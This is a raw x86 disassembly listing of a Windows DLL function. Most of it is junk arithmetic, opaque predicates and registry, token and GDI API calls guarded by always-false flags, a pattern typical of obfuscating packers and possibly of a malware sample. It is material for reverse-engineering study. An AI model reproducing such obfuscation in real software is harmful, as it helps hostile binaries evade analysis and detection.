mov dword [ebp + eax*4 - 0x74], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10009a48
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ecx
jge 0x10009a84
push dword [ebp - 0x14]
lea ecx, [ebp - 0x6e0]
call fcn.10026d2c
mov dword [eax], 0xb16aac89
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x10009a65
xor eax, eax
cmp dword [ebp - 0x74], eax
jne 0x10009af2
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x74]
cmp eax, dword [ebp - 0x74]
jne 0x10009a9f
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x10009aa1
mov ecx, ebx
jmp 0x10009aa3
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x74]
xor ebx, ebx
cmp ecx, eax
lea ecx, [ebp - 0x6e0]
push 2
pop eax
push eax
setge bl
call fcn.10026d2c
mov dword [eax], ebx
test ebx, ebx
jne 0x10009ace
xor eax, eax
cmp dword [ebp - 0x2c], eax
jne 0x10009ace
mov ecx, eax
inc ebx
jmp 0x10009ad3
xor ebx, ebx
inc ebx
mov ecx, ebx
mov eax, dword [ebp - 0x74]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x24]
sete dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x74]
setle cl
add eax, ecx
mov dword [ebp - 0x98c], eax
mov eax, dword [ebp - 0x74]
xor edx, edx
cmp eax, ebx
mov eax, dword [ebp - 0x2c]
setle dl
sub edx, 0x951f
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setg cl
mov dword [ebp - 0x4c], ecx
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], 0xffffffea
cmp dword [ebp - 0x2c], 0xf
jl 0x10009c47
mov dword [ebp - 0x1c], 0xdc705be7
mov dword [ebp - 0x30], 0x11945b4
mov eax, dword [ebp - 0x1c]
neg eax
je 0x10009bad
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x10009b84
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], eax
jg 0x10009b67
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x994], 0xfffffff7
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], eax
jle 0x10009b4f
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x10009b81
push eax
push eax
push 0x1225
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xor eax, eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], eax
jle 0x10009b47
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x10009bc4
push 0x243a
push eax
push eax
push 0x24f
push eax
call edi
push eax
call esi
push eax
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
jmp 0x10009bc4
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], al
je 0x10009bc4
push eax
call edi
push eax
call esi
push eax
call dword [sym.imp.GDI32.dll_GetClipBox]
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x74]
cmp eax, ebx
mov eax, dword [ebp - 0x74]
setg cl
xor ebx, ebx
add eax, ecx
lea ecx, [ebp - 0x6e0]
push 2
cmp eax, 0xa9ad1dc2
pop eax
push eax
setne bl
call fcn.10026d2c
mov ecx, dword [ebp - 0x1c]
xor edx, edx
cmp ebx, ecx
lea ecx, [ebp - 0x6e0]
push 2
setg dl
mov dword [eax], edx
mov eax, dword [ebp - 0x1c]
pop eax
push eax
call fcn.10026d2c
xor ecx, ecx
push 1
pop ebx
cmp dword [eax], ecx
mov eax, dword [ebp - 0x1c]
setne cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setge dl
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x30], ecx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xf
jge 0x10009b2b
or eax, 0xffffffff
lea ecx, [ebp - 0x6e0]
mov dword [ebp - 4], eax
call fcn.10026d27
xor eax, eax
lea ecx, [ebp - 0x1034]
mov byte [ebp - 0xd], al
or eax, 0xffffffff
push 2
mov dword [ebp - 0x24], eax
pop eax
mov dword [ebp - 0x38], 0xe0fc36fe
push eax
call fcn.10026cbf
xor eax, eax
mov dword [ebp - 4], 8
push 2
mov dword [ebp - 0x14], eax
pop ecx
cmp dword [ebp - 0x14], ecx
jge 0x10009ca5
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xf4], 0xe2799ac7
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10009c8d
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ecx
jge 0x10009cce
push dword [ebp - 0x14]
lea ecx, [ebp - 0x1034]
call fcn.10026d2c
push 2
mov dword [eax], 0xbd95d606
inc dword [ebp - 0x14]
pop eax
cmp dword [ebp - 0x14], eax
jl 0x10009cad
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jg 0x10009d3d
jmp 0x10009cda
xor eax, eax
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0xf4]
mov dword [ebp - 0xf0], eax
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xfffffff8
ja 0x10009cf9
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x44], 0x53f0d3ec
je 0x10009d0e
xor eax, eax
mov edx, eax
cmp dword [ebp - 0x44], eax
je 0x10009d10
mov edx, ebx
mov eax, dword [ebp - 0x24]
xor ecx, ecx
cmp eax, edx
setg cl
imul ecx, dword [ebp - 0x24]
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp + eax*4 - 0xf4]
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xf4], ecx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jle 0x10009cd8
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0xf4]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0xf4]
mov eax, dword [ebp - 0xf4]
xor eax, eax
cmp dword [ebp - 0x38], eax
je 0x10009d61
mov eax, dword [ebp - 0x38]
xor eax, eax
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], eax
jl 0x10009dcf
mov eax, dword [ebp - 0x24]
cmp dword [ebp + eax*4 - 0xf4], 0
je 0x10009db6
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], al
je 0x10009d8f
push 0x9ef
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x10009dca
push 0x1372
push eax
push 0x189
push 0x1f2d
call edi
push eax
call esi
push eax
call dword [sym.imp.GDI32.dll_ExtFloodFill]
jmp 0x10009dca
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp + eax*4 - 0xf4]
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xf4], ecx
dec dword [ebp - 0x24]
jns 0x10009d69
or eax, 0xffffffff
lea ecx, [ebp - 0x1034]
mov dword [ebp - 4], eax
call fcn.10026d27
cmp byte [ebp - 0xd], 0
je 0x10009f3e
mov dword [ebp - 0x34], 0x7e2799ac
or eax, 0xffffffff
mov dword [ebp - 0x40], 0xe12aa53f
mov dword [ebp - 0x40], eax
xor eax, eax
mov dword [ebp - 0x40], 0xfffffff9
mov dword [ebp - 0x40], 0xab06c0e2
mov dword [ebp - 0x4c], 0x7374
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x10009e37
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x800], 0x72fd4914
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x10009e1e
xor eax, eax
push 2
mov dword [ebp - 0x1c], eax
pop edx
cmp dword [ebp - 0x1c], edx
jge 0x10009e5a
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x14a8], 0xfffffffc
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x10009e42
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edx
jge 0x10009e7a
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1540], 0x41b44adc
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x10009e62
xor eax, eax
mov dword [ebp - 0x34], 0x12
jmp 0x10009f13
mov dword [ebp - 0x38], 0x7cefa9d1
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10009ea6
push 0x1f04
call dword [sym.imp.USER32.dll_GetQueueStatus]
push 2
xor eax, eax
pop edx
mov dword [ebp - 0x38], edx
cmp dword [ebp - 0x38], eax
jl 0x10009f10
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], 8
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], edx
jg 0x10009f0b
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x800]
neg eax
cmp eax, 0xfffb
mov eax, dword [ebp - 0x38]
sbb ecx, ecx
inc ecx
imul ecx, dword [ebp + eax*4 - 0x800]
xor eax, eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x2c], eax
jmp 0x10009efc
mov ecx, dword [ebp - 0x7f8]
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x800], ecx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], edx
jle 0x10009ee9
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edx
jle 0x10009ec0
xor eax, eax
dec dword [ebp - 0x38]
jns 0x10009eae
dec dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0xfffffff3
je 0x10009e86
inc dword [ebp - 0x4c]
push eax
push eax
push 0x1cfa
push eax
push 0x4d8
push eax
push 0x25e1
push 0x1b8e
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
or eax, 0xffffffff
lea ecx, [ebp - 0x854]
mov dword [ebp - 0x9b8], eax
mov dword [ebp - 0x9b4], eax
mov dword [ebp - 0x9b0], eax
mov dword [ebp - 0x9ac], eax
push 2
pop eax
mov dword [ebp - 0x54], 0xcb61d225
mov dword [ebp - 0x44], 0x13717be9
mov dword [ebp - 0x50], ebx
push eax
call fcn.10026cbf
mov dword [ebp - 4], 9
push 0xfffffffffffffffb
pop eax
mov dword [ebp - 0x40], eax
xor eax, eax
mov dword [ebp - 0x3c], 0x3818264d
mov dword [ebp - 0x18], 0x5adf851f
mov dword [ebp - 0x4c], 0xe5f88592
mov dword [ebp - 0x30], 0x4045
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 4
jge 0x10009fc6
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x14b8], 0x89328a06
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 4
jl 0x10009fad
xor eax, eax
push 2
mov dword [ebp - 0x24], eax
pop ecx
cmp dword [ebp - 0x24], ecx
jge 0x10009ff2
push dword [ebp - 0x24]
lea ecx, [ebp - 0x854]
call fcn.10026d2c
push 2
mov dword [eax], 0xfffffffd
inc dword [ebp - 0x24]
pop eax
cmp dword [ebp - 0x24], eax
jl 0x10009fd1
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 4
jge 0x1000a014
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x131c], 0x2a67f8b4
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 4
jl 0x10009ffb
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x1000a034
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x640], 0xe4ed383d
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x1000a01c
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1000a044
push eax
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push ebx
lea ecx, [ebp - 0x854]
call fcn.10026d2c
push ebx
mov ecx, dword [eax]
mov dword [ebp - 0x14b8], ecx
mov ecx, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x9b0]
dec dword [eax]
lea ecx, [ebp - 0x854]
dec dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
sub eax, dword [ebp - 0x50]
mov dword [ebp - 0x1310], eax
xor eax, eax
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x9b0]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x1310]
mov eax, dword [ebp - 0x54]
call fcn.10026d2c
mov ecx, dword [ebp - 0x3c]
xor edx, edx
mov eax, dword [ebp - 0x50]
cmp ecx, eax
mov eax, dword [ebp - 0x640]
setg dl
cmp edx, 9
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setne cl
or eax, 0xffffffff
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0x854]
mov dword [ebp - 4], eax
call fcn.10026d27
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x18
jge 0x1000ab6a
mov edi, dword [sym.imp.USER32.dll_CreatePopupMenu]
jmp 0x1000a0ec
xor eax, eax
mov dword [ebp - 0x14], 0x75b57fd5
mov dword [ebp - 0x2c], 7
mov dword [ebp - 0x4c], 9
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x10
jge 0x1000a1ee
or edi, 0xffffffff
jmp 0x1000a118
xor eax, eax
mov dword [ebp - 0x1c], 0xbd7b1c2a
mov dword [ebp - 0x28], 0x5eec80f2
mov dword [ebp - 0x1c], eax
jmp 0x1000a185
mov dword [ebp - 0x38], edi
mov eax, dword [ebp - 0x38]
xor eax, eax
cmp dword [ebp - 0x2c], eax
je 0x1000a13f
cmp dword [ebp - 0x38], eax
je 0x1000a13f
mov eax, ebx
neg eax
sub eax, 0x9df9481f
neg eax
sbb eax, eax
inc eax
imul eax, eax, 0xfffffffb
cmp eax, dword [ebp - 0x1c]
jle 0x1000a15c
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x1c], eax
je 0x1000a15e
mov ecx, ebx
xor eax, eax
test ecx, ecx
setne al
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
cmp dword [ebp - 0x14], eax
jg 0x1000a177
xor eax, eax
cmp dword [ebp - 0x38], eax
je 0x1000a179
mov eax, ebx
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x38], eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x1a
jle 0x1000a12b
mov eax, dword [ebp - 0x2c]
xor eax, eax
cmp dword [ebp - 0x14], eax
jne 0x1000a1b6
mov dword [ebp - 0x1c], 0xaead
mov eax, dword [ebp - 0x1c]
neg eax
sbb eax, eax
neg eax
add eax, 0xffffa3ee
mov dword [ebp - 0x4c], eax
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x4c], eax
je 0x1000a1b8
mov ecx, ebx
mov eax, dword [ebp - 0x28]
sub ecx, eax
jne 0x1000a1c2
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
xor eax, eax
cmp dword [ebp - 0x14], eax
jne 0x1000a1e8
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x10
jl 0x1000a116
mov edi, dword [sym.imp.USER32.dll_CreatePopupMenu]
push ebx
lea ecx, [ebp - 0x498]
call fcn.10026cbf
mov dword [ebp - 4], 0xa
lea ecx, [ebp - 0x504]
mov dword [ebp - 0x30], 0xd8b9dbea
push 3
call fcn.10026cbf
xor eax, eax
mov byte [ebp - 4], 0xb
mov dword [ebp - 0x38], eax
jmp 0x1000a231
push dword [ebp - 0x38]
call fcn.10026d2c
mov dword [eax], 0x9841b3c6
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 3
lea ecx, [ebp - 0x504]
jl 0x1000a220
push 2
pop eax
push eax
call fcn.10026d2c
push 2
lea ecx, [ebp - 0x504]
and dword [eax], 0
pop eax
push eax
call fcn.10026d2c
cmp dword [eax], 9
jle 0x1000a28e
push 2
pop edi
mov dword [ebp - 0x4c], ebx
lea ecx, [ebp - 0x504]
mov eax, dword [ebp - 0x4c]
push edi
mov dword [ebp - 0x4c], eax
call fcn.10026d2c
push edi
lea ecx, [ebp - 0x504]
inc dword [eax]
call fcn.10026d2c
cmp dword [eax], 9
jg 0x1000a260
mov edi, dword [sym.imp.USER32.dll_CreatePopupMenu]
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1000a29f
push eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
lea ecx, [ebp - 0x504]
mov byte [ebp - 4], 0xa
call fcn.10026d27
mov dword [ebp - 0x28], 0x1824a8c6
xor eax, eax
mov dword [ebp - 0x1c], 0x29aa810d
mov dword [ebp - 0x2c], 0x5498
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 3
jge 0x1000a2e7
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0xdb0], 0xc23c
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 3
jl 0x1000a2ce
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0xffffffe7
je 0x1000a3ab
mov dword [ebp - 0x4c], 0x8a13
mov dword [ebp - 0x14], 0x1f782a18
mov dword [ebp - 0x30], ebx
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x1000a32b
mov eax, dword [ebp - 0x14]
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x1000a329
mov eax, ebx
jmp 0x1000a32b
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x1000a33b
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x1000a33d
mov eax, ebx
jmp 0x1000a33d
xor eax, eax
xor edx, edx
cmp eax, 0xfff9
push 1
setne dl
xor ecx, ecx
sub edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x28]
cmp edx, eax
mov eax, dword [ebp - 0x14]
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x30]
setl dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x14]
setl bl
add ebx, 0x44fff1d2
neg ebx
sbb ebx, ebx
xor ecx, ecx
neg ebx
cmp ebx, eax
pop ebx
setge cl
sub ecx, dword [ebp - 0x4c]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setle dl
mov dword [ebp - 0x2c], edx
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xffffffe7
jne 0x1000a2f4
xor eax, eax
push 2
mov dword [ebp - 0x2c], eax
pop ecx
jmp 0x1000a46e
mov dword [ebp - 0x1c], ecx
cmp dword [ebp - 0x1c], eax
jl 0x1000a44d
mov dword [ebp - 0x4c], 0xae055a24
lea ecx, [ebp - 0xac8]
push 4
call fcn.10026cbf
xor eax, eax
mov byte [ebp - 4], 0xc
mov dword [ebp - 0x38], eax
jmp 0x1000a3f8
push dword [ebp - 0x38]
lea ecx, [ebp - 0xac8]
call fcn.10026d2c
mov dword [eax], 0x83644bb3
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 4
jl 0x1000a3e1
mov eax, dword [ebp - 0x1c]
push ebx
mov ecx, dword [ebp + eax*4 - 0xdb0]
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xdb0], ecx
lea ecx, [ebp - 0xac8]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0xdb0]
mov dword [ebp - 0x4c], eax
call fcn.10026d2c
mov ecx, dword [ebp - 0x4c]
mov byte [ebp - 4], 0xa
mov dword [eax], ecx
lea ecx, [ebp - 0xac8]
call fcn.10026d27
dec dword [ebp - 0x1c]
jns 0x1000a3c2
push 2
xor eax, eax
pop ecx
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1000a46b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call esi
push eax
call dword [sym.imp.GDI32.dll_GetBkColor]
push 2
xor eax, eax
pop ecx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ecx
jle 0x1000a3b6
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], ebx
jge 0x1000a49d
push dword [ebp - 0x38]
lea ecx, [ebp - 0x498]
call fcn.10026d2c
mov dword [eax], 0x532bb11a
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], ebx
jl 0x1000a47f
xor eax, eax
mov dword [ebp - 0x34], 0xfffffff7
mov dword [ebp - 0x30], 0x49a7
push 2
mov dword [ebp - 0x34], eax
pop ecx
cmp dword [ebp - 0x34], ecx
jg 0x1000a79f
mov dword [ebp - 0x24], 0x89b54615
mov dword [ebp - 0x24], 0xffffffe7
jmp 0x1000a771
push ecx
mov dword [ebp - 0x1c], 0xfa2fafd1
lea ecx, [ebp - 0xcc0]
call fcn.10026cbf
xor eax, eax
mov byte [ebp - 4], 0xd
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 4
jge 0x1000a508
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x123c], 0x770a
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x1000a4ef
xor eax, eax
push 2
mov dword [ebp - 0x14], eax
pop ecx
cmp dword [ebp - 0x14], ecx
jge 0x1000a539
push ecx
pop edi
push dword [ebp - 0x14]
lea ecx, [ebp - 0xcc0]
call fcn.10026d2c
mov dword [eax], 0xa88acc16
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1000a515
mov edi, dword [sym.imp.USER32.dll_CreatePopupMenu]
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jg 0x1000a5e8
push ebx
lea ecx, [ebp - 0x4e0]
call fcn.10026cbf
xor eax, eax
mov byte [ebp - 4], 0xe
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], ebx
jge 0x1000a57a
push dword [ebp - 0x38]
lea ecx, [ebp - 0x4e0]
call fcn.10026d2c
mov dword [eax], ebx
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], ebx
jl 0x1000a560
xor eax, eax
push eax
lea ecx, [ebp - 0x4e0]
call fcn.10026d2c
xor ebx, ebx
mov dword [eax], ebx
jmp 0x1000a5b6
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x123c], ebx
jne 0x1000a5c7
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1000a5a6
call edi
xor eax, eax
push eax
lea ecx, [ebp - 0x4e0]
call fcn.10026d2c
inc dword [eax]
xor ebx, ebx
push ebx
lea ecx, [ebp - 0x4e0]
call fcn.10026d2c
cmp dword [eax], 3
jle 0x1000a58c
lea ecx, [ebp - 0x4e0]
mov byte [ebp - 4], 0xd
call fcn.10026d27
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
push 1
pop ebx
jle 0x1000a546
xor eax, eax
mov dword [ebp - 0x1c], 0xffffffe5
cmp dword [ebp - 0x1c], 0x1a
jle 0x1000a75c
push 2
pop edi
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 3
jge 0x1000a61d
or ecx, 0xffffffff
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x4b0], ecx
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 3
jl 0x1000a608
xor eax, eax
mov dword [ebp - 0x4ac], eax
cmp dword [ebp - 0x4ac], 0x1c
jge 0x1000a749
mov dword [ebp - 0x28], 0xc58bdfad
mov dword [ebp - 0x30], 0xf7cf
mov dword [ebp - 0x28], 4
jmp 0x1000a72a
push 3
lea ecx, [ebp - 0x8e4]
call fcn.10026cbf
xor eax, eax
mov byte [ebp - 4], 0xf
mov dword [ebp - 0x38], eax
jmp 0x1000a673
push dword [ebp - 0x38]
call fcn.10026d2c
mov dword [eax], 0xe1d4595a
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 3
lea ecx, [ebp - 0x8e4]
jl 0x1000a662
push ebx
call fcn.10026d2c
mov ecx, dword [ebp - 0x1c]
sub ecx, dword [ebp - 0x4ac]
cmp ecx, 0xfffc
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, dword [eax]
mov eax, dword [ebp - 0x34]
setne dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x24]
setle bl
sub ebx, edi
neg ebx
sbb ebx, ebx
xor ecx, ecx
inc ebx
cmp ebx, 0xe11
setge cl
xor ebx, ebx
add ecx, 0x43334adc
cmp ecx, eax
lea ecx, [ebp - 0x8e4]
setl bl
xor eax, eax
push eax
call fcn.10026d2c
mov edx, dword [ebp - 0x34]
mov eax, dword [eax]
add eax, ebx
neg eax
sbb eax, eax
xor ecx, ecx
neg eax
imul edx, eax
mov eax, dword [ebp - 0x1c]
cmp edx, eax
setle cl
xor ebx, ebx
mov dword [ebp - 0x30], ecx
inc ebx
push ebx
lea ecx, [ebp - 0xcc0]
call fcn.10026d2c
mov ecx, dword [ebp - 0x1234]
xor edx, edx
cmp ecx, 0x197c
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x8e4]
setge dl
mov dword [eax], edx
call fcn.10026d27
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xffffffe4
jl 0x1000a64a
inc dword [ebp - 0x4ac]
cmp dword [ebp - 0x4ac], 0x1c
jl 0x1000a630
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x1a
jg 0x1000a5fc
mov edi, dword [sym.imp.USER32.dll_CreatePopupMenu]
lea ecx, [ebp - 0xcc0]
mov byte [ebp - 4], 0xa
call fcn.10026d27
inc dword [ebp - 0x24]
push 2
pop ecx
cmp dword [ebp - 0x24], 0xfffffffd
je 0x1000a4cd
mov eax, dword [ebp - 0x34]
xor edx, edx
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
push 2
setle dl
mov dword [ebp - 0x30], edx
inc dword [ebp - 0x34]
pop ecx
cmp dword [ebp - 0x34], ecx
jle 0x1000a4ba
xor eax, eax
push eax
lea ecx, [ebp - 0x498]
call fcn.10026d2c
xor ecx, ecx
push ecx
mov dword [eax], ecx
lea ecx, [ebp - 0x498]
call fcn.10026d2c
jmp 0x1000ab3a
xor eax, eax
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x2c], eax
jmp 0x1000a8cb
mov dword [ebp - 0x28], 6
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0xfffffffc
jne 0x1000a8b6
push 4
lea ecx, [ebp - 0xae0]
call fcn.10026cbf
mov byte [ebp - 4], 0x10
xor eax, eax
mov dword [ebp - 0x18], 0x8987f2fb
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 4
jge 0x1000a823
push dword [ebp - 0x38]
lea ecx, [ebp - 0xae0]
call fcn.10026d2c
mov dword [eax], 0xfffffffe
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 4
jl 0x1000a804
xor eax, eax
mov dword [ebp - 0x18], 3
cmp dword [ebp - 0x18], eax
jl 0x1000a898
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], ebx
jge 0x1000a84f
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0xe4], 6
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], ebx
jl 0x1000a837
xor eax, eax
mov dword [ebp - 0xe4], 3
cmp dword [ebp - 0xe4], eax
jl 0x1000a893
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1000a877
push eax
push 0x1c10
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
push dword [ebp - 0xe4]
lea ecx, [ebp - 0xae0]
call fcn.10026d2c
dec dword [ebp - 0xe4]
push 0
pop eax
jns 0x1000a861
dec dword [ebp - 0x18]
jns 0x1000a82f
lea ecx, [ebp - 0xae0]
mov byte [ebp - 4], 0xa
call fcn.10026d27
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xfffffffc
je 0x1000a7e1
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1000a8c8
push eax
call dword [sym.imp.GDI32.dll_CreateBrushIndirect]
xor eax, eax
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xfffffff3
jge 0x1000a7cd
mov dword [ebp - 0x4c], 0xdb6d0374
push 2
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x38], eax
pop ecx
